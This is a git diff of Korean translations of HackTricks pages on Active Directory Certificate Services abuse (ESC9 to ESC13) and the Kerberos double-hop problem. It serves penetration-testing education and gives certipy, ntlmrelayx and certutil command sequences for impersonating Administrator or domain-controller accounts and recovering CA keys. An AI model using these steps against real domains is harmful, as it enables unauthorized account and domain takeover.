[PetitPotam](https://github.com/ly4k/PetitPotam)과 같은 기술을 사용하여 강제 인증을 수행할 수 있습니다. 도메인 컨트롤러를 다룰 때는 `-template DomainController`의 지정이 필요합니다.
|
||||
```bash
|
||||
|
@ -415,7 +419,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
|
||||
### 설명
|
||||
|
||||
새로운 값 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)은 **`msPKI-Enrollment-Flag`**에 대한 ESC9로 참조되며, 인증서에 **새로운 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장을 포함하는 것을 방지**합니다. 이 플래그는 `StrongCertificateBindingEnforcement`이 `1`로 설정된 경우 (기본 설정)에 중요해지며, 이는 `2`로 설정된 경우와 대조됩니다. 이 플래그의 중요성은 ESC10과 같이 Kerberos 또는 Schannel을 위한 더 약한 인증서 매핑이 악용될 수 있는 시나리오에서 더욱 부각됩니다. ESC9의 부재는 요구 사항을 변경하지 않기 때문에 이러한 시나리오에서 중요성을 띕니다.
|
||||
새 값 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)은 **`msPKI-Enrollment-Flag`**에 대한 ESC9로 참조되며, 인증서에 **새 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장을 포함하는 것을 방지**합니다. 이 플래그는 `StrongCertificateBindingEnforcement`가 `1`로 설정된 경우 (기본 설정)와 대조적으로 `2`로 설정된 경우에 중요해집니다. ESC9의 부재는 요구 사항을 변경하지 않기 때문에, Kerberos 또는 Schannel을 위한 더 약한 인증서 매핑이 악용될 수 있는 경우 (ESC10과 같은)에 중요성이 높아집니다.
|
||||
|
||||
이 플래그 설정이 중요해지는 조건은 다음과 같습니다:
|
||||
|
||||
|
@ -426,29 +430,29 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
|
||||
### 남용 시나리오
|
||||
|
||||
`John@corp.local`이 `Jane@corp.local`에 대한 `GenericWrite` 권한을 보유하고 있으며, `Administrator@corp.local`을 침해하려고 합니다. `Jane@corp.local`이 등록할 수 있는 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성됩니다.
|
||||
`John@corp.local`이 `Jane@corp.local`에 대한 `GenericWrite` 권한을 보유하고 있으며, `Administrator@corp.local`을 침해하려고 하는 경우를 가정해 봅시다. `Jane@corp.local`이 등록할 수 있는 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성됩니다.
|
||||
|
||||
먼저, `John`의 `GenericWrite`로 인해 `Jane`의 해시를 획득합니다.
|
||||
먼저, `Jane`의 해시는 `John`의 `GenericWrite` 덕분에 Shadow Credentials를 사용하여 획득됩니다:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
그 후, `Jane`의 `userPrincipalName`이 의도적으로 `@corp.local` 도메인 부분을 생략하고 `Administrator`로 수정됩니다:
|
||||
이후, `Jane`의 `userPrincipalName`이 의도적으로 `@corp.local` 도메인 부분을 생략하고 `Administrator`로 수정되었습니다:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
이 수정은 제약 조건을 위반하지 않습니다. `Administrator@corp.local`이 `Administrator`의 `userPrincipalName`으로서 구분되는 한입니다.
|
||||
이 수정은 `Administrator@corp.local`이 `Administrator`의 `userPrincipalName`으로서 구분되는 한 제약 조건을 위반하지 않습니다.
|
||||
|
||||
이후, 취약하게 표시된 `ESC9` 인증서 템플릿이 `Jane`으로 요청됩니다:
|
||||
이에 이어 `Jane`으로 표시된 `ESC9` 인증서 템플릿이 취약하다고 표시됩니다:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
다음은 "Administrator"를 반영하는 인증서의 'userPrincipalName'이 "object SID"가 없음을 나타내는 것에 유의해야 합니다.
|
||||
인증서의 `userPrincipalName`이 "Administrator"를 반영하며 "object SID"가 없음을 나타냅니다.
|
||||
|
||||
그런 다음 'Jane'의 'userPrincipalName'은 원래 값인 'Jane@corp.local'로 되돌립니다:
|
||||
그런 다음 `Jane`의 `userPrincipalName`이 원래 값인 `Jane@corp.local`로 되돌아갑니다:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
인증서를 사용하여 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 생성됩니다. 인증서에 도메인이 지정되어 있지 않기 때문에 명령에는 `-domain <domain>`을 포함해야 합니다:
|
||||
인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 포함됩니다. 인증 명령에는 인증서에 도메인이 지정되지 않았기 때문에 `-domain <domain>`을 포함해야 합니다:
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
|
@ -456,9 +460,9 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
|||
|
||||
### 설명
|
||||
|
||||
도메인 컨트롤러에서 두 개의 레지스트리 키 값이 ESC10에 의해 언급됩니다:
|
||||
도메인 컨트롤러의 레지스트리 키 값 두 개가 ESC10에 의해 언급됩니다:
|
||||
|
||||
* `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 하위의 `CertificateMappingMethods`의 기본 값은 `0x18` (`0x8 | 0x10`)이며, 이전에 `0x1F`로 설정되었습니다.
|
||||
* `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 하위의 `CertificateMappingMethods`의 기본 값은 `0x18` (`0x8 | 0x10`)이며, 이전에는 `0x1F`로 설정되었습니다.
|
||||
* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 하위의 `StrongCertificateBindingEnforcement`의 기본 설정은 `1`이며, 이전에는 `0`이었습니다.
|
||||
|
||||
**사례 1**
|
||||
|
@ -471,19 +475,19 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
|||
|
||||
### 남용 사례 1
|
||||
|
||||
`StrongCertificateBindingEnforcement`가 `0`으로 구성된 경우, `GenericWrite` 권한을 가진 계정 A를 악용하여 어떤 계정 B도 침해할 수 있습니다.
|
||||
`StrongCertificateBindingEnforcement`가 `0`으로 구성된 경우, `GenericWrite` 권한이 있는 계정 A를 악용하여 어떤 계정 B도 침해할 수 있습니다.
|
||||
|
||||
예를 들어, `Jane@corp.local`에 대한 `GenericWrite` 권한을 가지고 있는 경우, 공격자는 `Administrator@corp.local`을 침해하려고 합니다. 이 과정은 ESC9를 반영하여 어떤 인증서 템플릿이든 사용할 수 있게 합니다.
|
||||
예를 들어, `Jane@corp.local`에 대한 `GenericWrite` 권한을 가지고 있는 경우, 공격자는 `Administrator@corp.local`을 침해하려고 합니다. 이 절차는 ESC9를 반영하여 어떤 인증서 템플릿이든 사용할 수 있습니다.
|
||||
|
||||
먼저, `Jane`의 해시를 Shadow Credentials를 이용하여 검색합니다.
|
||||
먼저, `Jane`의 해시를 가져와야 합니다. 이는 Shadow Credentials를 이용하여 `GenericWrite`를 악용하는 것입니다.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
이후, `Jane`의 `userPrincipalName`이 `Administrator`로 변경되어 `@corp.local` 부분을 의도적으로 생략하여 제약 조건 위반을 피합니다.
|
||||
이후, `Jane`의 `userPrincipalName`이 의도적으로 `@corp.local` 부분을 제외한 `Administrator`로 변경됩니다. 이렇게 함으로써 제약 조건 위반을 피합니다.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
다음으로, 기본 `User` 템플릿을 사용하여 `Jane`으로 클라이언트 인증을 가능하게 하는 인증서가 요청됩니다.
|
||||
다음으로, 기본 '사용자' 템플릿을 사용하여 'Jane'으로 클라이언트 인증을 가능하게 하는 인증서가 요청됩니다.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
|
@ -491,15 +495,15 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
|||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
인증서를 사용하여 인증하면 `Administrator@corp.local`의 NT 해시가 생성되며, 인증서에 도메인 세부 정보가 없기 때문에 명령에 도메인을 지정해야 합니다.
|
||||
인증서를 사용하여 인증하면 `Administrator@corp.local`의 NT 해시가 생성되며, 인증서에 도메인 세부 정보가 없기 때문에 명령어에 도메인을 지정해야 합니다.
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### 남용 사례 2
|
||||
|
||||
`CertificateMappingMethods`에 `UPN` 비트 플래그(`0x4`)가 포함되어 있으면 `GenericWrite` 권한을 가진 계정 A는 `userPrincipalName` 속성이 없는 B 계정을 손상시킬 수 있습니다. 이는 기계 계정 및 기본 도메인 관리자 `Administrator`를 포함합니다.
|
||||
`CertificateMappingMethods`에 `UPN` 비트 플래그(`0x4`)가 포함된 경우, `GenericWrite` 권한을 가진 계정 A는 `userPrincipalName` 속성이 없는 계정 B(기계 계정 및 기본 도메인 관리자 `Administrator` 포함)를 손상시킬 수 있습니다.
|
||||
|
||||
여기서 목표는 `GenericWrite`를 활용하여 `Jane`의 해시를 얻어 `DC$@corp.local`을 손상시키는 것입니다.
|
||||
여기서 목표는 `Jane`의 해시를 획득하여 `DC$@corp.local`을 손상시키는 것입니다. Shadow Credentials를 통해 시작하고 `GenericWrite`를 활용합니다.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
|
@ -507,7 +511,7 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
|||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
인증서를 요청할 때 `Jane`이(가) 기본 `User` 템플릿을 사용하여 클라이언트 인증용으로 요청합니다.
|
||||
인증서를 요청할 때 기본 `User` 템플릿을 사용하여 `Jane`으로 클라이언트 인증서가 요청됩니다.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
|
@ -515,13 +519,11 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
|||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
Schannel를 통해 인증하려면 Certipy의 `-ldap-shell` 옵션을 사용하며, 인증 성공은 `u:CORP\DC$`로 표시됩니다.
|
||||
Schannel를 통해 인증하려면 Certipy의 `-ldap-shell` 옵션을 사용하여 인증 성공을 `u:CORP\DC$`로 표시합니다.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
```
|
||||
LDAP 셸을 통해 `set_rbcd`와 같은 명령을 사용하여 Resource-Based Constrained Delegation (RBCD) 공격을 활성화할 수 있으며, 이는 도메인 컨트롤러를 잠재적으로 침해할 수 있습니다.
|
||||
```
|
||||
LDAP 셸을 통해 `set_rbcd`와 같은 명령을 사용하면 Resource-Based Constrained Delegation (RBCD) 공격을 활성화할 수 있으며, 이는 도메인 컨트롤러를 잠재적으로 침해할 수 있습니다.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
|
@ -531,7 +533,7 @@ certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
|||
|
||||
### 설명
|
||||
|
||||
CA 서버가 `IF_ENFORCEENCRYPTICERTREQUEST`로 구성되지 않은 경우, RPC 서비스를 통해 서명 없이 NTLM 릴레이 공격을 수행할 수 있습니다. [여기에서 참조](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
CA 서버가 `IF_ENFORCEENCRYPTICERTREQUEST`로 구성되지 않은 경우 RPC 서비스를 통해 서명 없이 NTLM 릴레이 공격을 수행할 수 있습니다. [여기 참조](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
`certipy`를 사용하여 `Enforce Encryption for Requests`가 비활성화되었는지 열거하고 `certipy`가 `ESC11` 취약점을 표시할 수 있습니다.
|
||||
```bash
|
||||
|
@ -573,7 +575,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
|||
```
|
||||
참고: 도메인 컨트롤러의 경우, DomainController에 `-template`를 지정해야 합니다.
|
||||
|
||||
또는 [sploutchy의 impacket 포크](https://github.com/sploutchy/impacket)을 사용하실 수도 있습니다:
|
||||
또는 [sploutchy의 impacket 포크](https://github.com/sploutchy/impacket)을 사용할 수도 있습니다:
|
||||
``` bash
|
||||
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
||||
```
|
||||
|
@ -583,17 +585,17 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
|
|||
|
||||
관리자는 인증 기관을 "Yubico YubiHSM2"와 같은 외부 장치에 저장할 수 있습니다.
|
||||
|
||||
USB 장치가 CA 서버에 USB 포트를 통해 연결되어 있거나 CA 서버가 가상 머신인 경우 USB 장치 서버를 통해 YubiHSM에서 키를 생성하고 사용하기 위해 인증 키(때로는 "암호"로도 불림)가 필요합니다.
|
||||
USB 장치가 CA 서버에 USB 포트를 통해 연결되어 있거나 CA 서버가 가상 머신인 경우 USB 장치 서버에 연결되어 있는 경우, YubiHSM에서 키를 생성하고 사용하기 위해 인증 키(때로는 "비밀번호"로도 불림)가 필요합니다.
|
||||
|
||||
이 키/암호는 레지스트리에 `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`에 평문으로 저장됩니다.
|
||||
이 키/비밀번호는 레지스트리에 `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`에 평문으로 저장됩니다.
|
||||
|
||||
참조: [여기](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
참조 [여기](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
|
||||
### 남용 시나리오
|
||||
|
||||
CA의 개인 키가 물리적 USB 장치에 저장된 경우 셸 액세스를 얻으면 키를 복구할 수 있습니다.
|
||||
|
||||
먼저 CA 인증서(이는 공개적인 정보)를 획들한 후:
|
||||
먼저 CA 인증서(이는 공개적인 정보)를 획들한 후에:
|
||||
```cmd
|
||||
# import it to the user store with CA certificate
|
||||
$ certutil -addstore -user my <CA certificate file>
|
||||
|
@ -605,11 +607,11 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
|
|||
|
||||
### 설명
|
||||
|
||||
`msPKI-Certificate-Policy` 속성을 사용하면 인증서 템플릿에 발급 정책을 추가할 수 있습니다. 발급 정책을 담당하는 `msPKI-Enterprise-Oid` 객체는 PKI OID 컨테이너의 Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services)에서 발견할 수 있습니다. 이 객체의 `msDS-OIDToGroupLink` 속성을 사용하여 정책을 AD 그룹에 연결할 수 있으며, 이를 통해 사용자가 인증서를 제시하면 해당 그룹의 구성원인 것처럨 사용자를 인가할 수 있습니다. [여기에서 참조](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
`msPKI-Certificate-Policy` 속성을 사용하면 인증서 템플릿에 발급 정책을 추가할 수 있습니다. 발급 정책을 담당하는 `msPKI-Enterprise-Oid` 객체는 PKI OID 컨테이너의 Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services)에서 발견할 수 있습니다. 이 객체의 `msDS-OIDToGroupLink` 속성을 사용하여 정책을 AD 그룹에 연결할 수 있으며, 이를 통해 사용자가 인증서를 제시하는 경우 해당 그룹의 구성원인 것처럼 사용자를 인가할 수 있습니다. [여기에서 참조](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
다시 말해, 사용자가 인증서를 등록할 권한이 있고 해당 인증서가 OID 그룹에 연결된 경우 사용자는 이 그룹의 권한을 상속할 수 있습니다.
|
||||
|
||||
OIDToGroupLink를 찾기 위해 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1)을 사용하세요.
|
||||
OIDToGroupLink를 찾기 위해 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1)을 사용하세요:
|
||||
```powershell
|
||||
Enumerating OIDs
|
||||
------------------------
|
||||
|
@ -631,25 +633,25 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243
|
|||
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
------------------------
|
||||
```
|
||||
### 악용 시나리오
|
||||
### 남용 시나리오
|
||||
|
||||
`certipy find` 또는 `Certify.exe find /showAllPermissions`을 사용할 수 있는 사용자 권한을 찾습니다.
|
||||
|
||||
만약 `John`이 `VulnerableTemplate`을 등록할 권한이 있다면, 해당 사용자는 `VulnerableGroup` 그룹의 권한을 상속받을 수 있습니다.
|
||||
만약 `John`이 `VulnerableTemplate`을 등록할 수 있는 권한을 가지고 있다면, 해당 사용자는 `VulnerableGroup` 그룹의 권한을 상속받을 수 있습니다.
|
||||
|
||||
그냥 템플릿을 지정하면, OIDToGroupLink 권한이 있는 인증서를 얻을 수 있습니다.
|
||||
그 사용자는 템플릿을 지정하기만 하면, OIDToGroupLink 권한이 있는 인증서를 받을 수 있습니다.
|
||||
```bash
|
||||
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
|
||||
```
|
||||
## 인증서를 통한 도메인 상승 설명 (수동태로)
|
||||
## 인증서를 통한 포리스트 침해의 수동태로 설명
|
||||
|
||||
### Compromised CAs에 의한 Forest Trusts 파괴
|
||||
### Compromised CAs에 의한 포리스트 신뢰 깨기
|
||||
|
||||
**크로스-포레스트 등록** 구성은 비교적 간단하게 이루어집니다. 자원 포레스트의 **루트 CA 인증서**는 관리자에 의해 **계정 포레스트로 발행**되며, 자원 포레스트의 **엔터프라이즈 CA** 인증서는 **각 계정 포레스트의 `NTAuthCertificates` 및 AIA 컨테이너에 추가**됩니다. 이러한 배치는 자원 포레스트의 **CA가 관리하는 모든 다른 포레스트에 대해 완전한 제어권**을 부여합니다. 만약 이 CA가 **공격자에 의해 침해**당하면, 자원 및 계정 포레스트의 모든 사용자를 위한 인증서가 **공격자에 의해 위조**될 수 있어, 포레스트의 보안 경계가 깨질 수 있습니다.
|
||||
**크로스 포리스트 등록** 구성은 비교적 간단하게 이루어집니다. 자원 포리스트의 **루트 CA 인증서**는 관리자에 의해 **계정 포리스트로 발행**되며, 자원 포리스트의 **엔터프라이즈 CA** 인증서는 **각 계정 포리스트의 `NTAuthCertificates` 및 AIA 컨테이너에 추가**됩니다. 이러한 배치는 자원 포리스트의 **CA가 관리하는 모든 다른 포리스트에 대해 완전한 제어 권한**을 부여합니다. 만약 이 CA가 **공격자에 의해 침해**된다면, 자원 및 계정 포리스트의 모든 사용자를 대상으로 인증서가 **위조**될 수 있어 포리스트의 보안 경계가 깨질 수 있습니다.
|
||||
|
||||
### 외부 주체에게 부여된 등록 권한
|
||||
|
||||
다중 포레스트 환경에서는 **인증된 사용자 또는 외부 주체** (엔터프라이즈 CA가 속한 포레스트 외의 사용자/그룹) **등록 및 편집 권한을 허용하는 인증서 템플릿을 발행하는 엔터프라이즈 CA**에 대한 주의가 필요합니다.\
|
||||
신뢰 관계를 통해 인증되면, AD에 의해 사용자의 토큰에 **인증된 사용자 SID**가 추가됩니다. 따라서, 도메인이 **인증된 사용자 등록 권한을 허용하는 템플릿을 보유**하고 있다면, 다른 포레스트의 사용자가 해당 템플릿을 **등록**할 수 있습니다. 마찬가지로, **템플릿에 의해 외부 주체에게 명시적으로 등록 권한이 부여**된 경우, **크로스-포레스트 액세스 제어 관계가 생성**되어 한 포레스트의 주체가 다른 포레스트의 **템플릿을 등록**할 수 있게 됩니다.
|
||||
다중 포리스트 환경에서는 **인증된 사용자 또는 외부 주체** (엔터프라이즈 CA가 속한 포리스트 외부의 사용자/그룹)에게 **등록 및 편집 권한을 허용하는 인증서 템플릿을 발행하는 엔터프라이즈 CA**에 대해 주의가 필요합니다.\
|
||||
신뢰를 통해 인증되면 AD에 의해 사용자의 토큰에 **인증된 사용자 SID**가 추가됩니다. 따라서, 도메인이 **인증된 사용자 등록 권한을 허용하는 템플릿을 보유**하고 있다면, 다른 포리스트의 사용자가 해당 템플릿을 **등록**할 수 있습니다. 마찬가지로, **템플릿에 의해 외부 주체에게 명시적으로 등록 권한이 부여**된 경우, **포리스트 간 액세스 제어 관계가 생성**되어 한 포리스트의 주체가 다른 포리스트의 **템플릿을 등록**할 수 있게 됩니다.
|
||||
|
||||
두 시나리오 모두 한 포레스트에서 다른 포레스트로의 **공격 표면을 증가**시킵니다. 인증서 템플릿의 설정은 공격자가 외부 도메인에서 추가 권한을 얻기 위해 악용될 수 있습니다.
|
||||
두 시나리오 모두 한 포리스트에서 다른 포리스트로의 **공격 표면을 증가**시킵니다. 인증서 템플릿의 설정은 공격자가 외부 도메인에서 추가 권한을 얻을 수 있도록 악용될 수 있습니다.
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 광고**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **Twitter**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 요령을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -26,22 +26,22 @@ Kerberos "Double Hop" 문제는 **Kerberos 인증을 통해 두 개의** **호
|
|||
이는 Kerberos로 연결할 때 다음 단계를 거치기 때문입니다:
|
||||
|
||||
1. User1이 자격 증명을 제공하고 **도메인 컨트롤러**가 User1에게 Kerberos **TGT**를 반환합니다.
|
||||
2. User1이 **TGT**를 사용하여 **Server1에 연결**할 **서비스 티켓**을 요청합니다.
|
||||
2. User1이 **TGT**를 사용하여 **Server1에 연결**하기 위한 **서비스 티켓**을 요청합니다.
|
||||
3. User1이 **Server1에 연결**하고 **서비스 티켓**을 제공합니다.
|
||||
4. **Server1**에는 User1의 자격 증명이 캐시되어 있지 않거나 User1의 **TGT**가 없습니다. 따라서 Server1에서 두 번째 서버에 로그인하려고 할 때 **인증할 수 없습니다.**
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
**비제약 위임**이 PC에서 활성화되어 있는 경우, **서버**는 액세스하는 각 사용자의 **TGT**를 **받게** 됩니다. 또한, 비제약 위임이 사용된 경우 아마도 **도메인 컨트롤러를** **손상시킬 수 있습니다.**\
|
||||
[**비제약 위임 페이지에서 자세한 정보 확인**](unconstrained-delegation.md).
|
||||
PC에서 **제한되지 않은 위임**이 활성화되어 있는 경우, **서버**는 액세스하는 각 사용자의 **TGT**를 **받게** 됩니다. 또한, 제한되지 않은 위임이 사용되면 아마도 **도메인 컨트롤러를** **손상시킬 수 있습니다.**\
|
||||
[**제한되지 않은 위임 페이지에서 자세한 정보 확인**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
이 문제를 피하는 또 다른 방법은 [**안전하지 않은**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**입니다. Microsoft에 따르면:
|
||||
이 문제를 피하는 또 다른 방법은 [**안전하지 않은 것으로 알려진**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**입니다. Microsoft에 따르면:
|
||||
|
||||
> CredSSP 인증은 로컬 컴퓨터의 사용자 자격 증명을 원격 컴퓨터로 위임합니다. 이 관행은 원격 작업의 보안 위험을 증가시킵니다. 원격 컴퓨터가 침해당한 경우 자격 증명이 전달되면 네트워크 세션을 제어하는 데 사용될 수 있습니다.
|
||||
> CredSSP 인증은 로컬 컴퓨터에서 원격 컴퓨터로 사용자 자격 증명을 위임합니다. 이 관행은 원격 작업의 보안 위험을 증가시킵니다. 원격 컴퓨터가 침해당하면 자격 증명이 전달되어 네트워크 세션을 제어하는 데 사용될 수 있습니다.
|
||||
|
||||
**CredSSP**를 프로덕션 시스템, 민감한 네트워크 및 유사한 환경에서 **비활성화**하는 것이 매우 권장됩니다. **CredSSP**가 활성화되어 있는지 확인하려면 `Get-WSManCredSSP` 명령을 실행할 수 있습니다. 이 명령을 사용하면 **CredSSP 상태를 확인**할 수 있으며, **WinRM**이 활성화되어 있다면 원격으로 실행할 수도 있습니다.
|
||||
**CredSSP**를 프로덕션 시스템, 민감한 네트워크 및 유사한 환경에서 **비활성화**하는 것이 매우 권장됩니다. **CredSSP**가 활성화되어 있는지 확인하려면 `Get-WSManCredSSP` 명령을 실행할 수 있습니다. 이 명령을 사용하면 **CredSSP 상태를 확인**할 수 있으며 **WinRM**이 활성화되어 있다면 원격으로 실행할 수도 있습니다.
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
|
@ -51,14 +51,14 @@ Get-WSManCredSSP
|
|||
|
||||
### Invoke Command
|
||||
|
||||
더블 호핑 문제를 해결하기 위해 중첩된 `Invoke-Command`를 활용하는 방법이 제시됩니다. 이 방법은 문제를 직접 해결하는 것은 아니지만 특별한 구성 없이 해결책을 제공합니다. 이 접근 방식을 사용하면 초기 공격 머신에서 실행되는 PowerShell 명령 또는 처음 서버와 이전에 설정된 PS-Session을 통해 초기 서버에서 두 번째 서버에서 명령(`hostname`)을 실행할 수 있습니다. 다음은 그 방법입니다:
|
||||
더블 호핑 문제를 해결하기 위해 중첩된 `Invoke-Command`를 활용하는 방법이 제시됩니다. 이 방법은 문제를 직접 해결하지는 않지만 특별한 구성이 필요하지 않는 해결책을 제공합니다. 이 접근 방식을 사용하면 초기 공격 머신에서 실행되는 PowerShell 명령 또는 처음 서버와 이전에 설정된 PS-Session을 통해 초기 서버에서 두 번째 서버에서 명령(`hostname`)을 실행할 수 있습니다. 다음은 이 작업 방법입니다:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
### PSSession 구성 등록
|
||||
### 등록 PSSession 구성
|
||||
|
||||
